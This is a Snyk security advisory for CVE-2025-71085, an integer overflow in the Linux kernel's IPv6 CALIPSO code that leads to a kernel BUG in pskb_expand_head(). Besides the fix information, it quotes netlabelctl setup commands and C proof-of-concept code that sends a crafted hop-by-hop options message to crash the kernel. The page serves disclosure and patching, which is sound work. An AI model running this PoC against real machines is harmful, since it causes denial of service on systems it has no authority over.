Homepage

Integer Overflow or Wraparound Affecting rv package, versions <0:6.12.0-124.43.1.el10_1

Severity

 Recommended
medium

Based on Red Hat Enterprise Linux security rating.

Threat Intelligence

EPSS
0.06% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Integer Overflow or Wraparound vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RHEL10-RV-15442102
  • published10 Mar 2026
  • disclosed1 Jan 2025
Report a new vulnerability Found a mistake?

Introduced: 1 Jan 2025

CVE-2025-71085  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

Upgrade RHEL:10 rv to version 0:6.12.0-124.43.1.el10_1 or higher.
This issue was patched in RHSA-2026:4012.

NVD Description

Note: Versions mentioned in the description apply only to the upstream rv package and not the rv package as distributed by RHEL. See How to fix? for RHEL:10 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7


Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &amp;amp;dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;

// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;

// setup cmsghdr
cmsg-&amp;gt;cmsg_len = cmsg_len;
cmsg-&amp;gt;cmsg_level = IPPROTO_IPV6;
cmsg-&amp;gt;cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &amp;amp;msg, 0);

CVSS Base Scores

version 3.1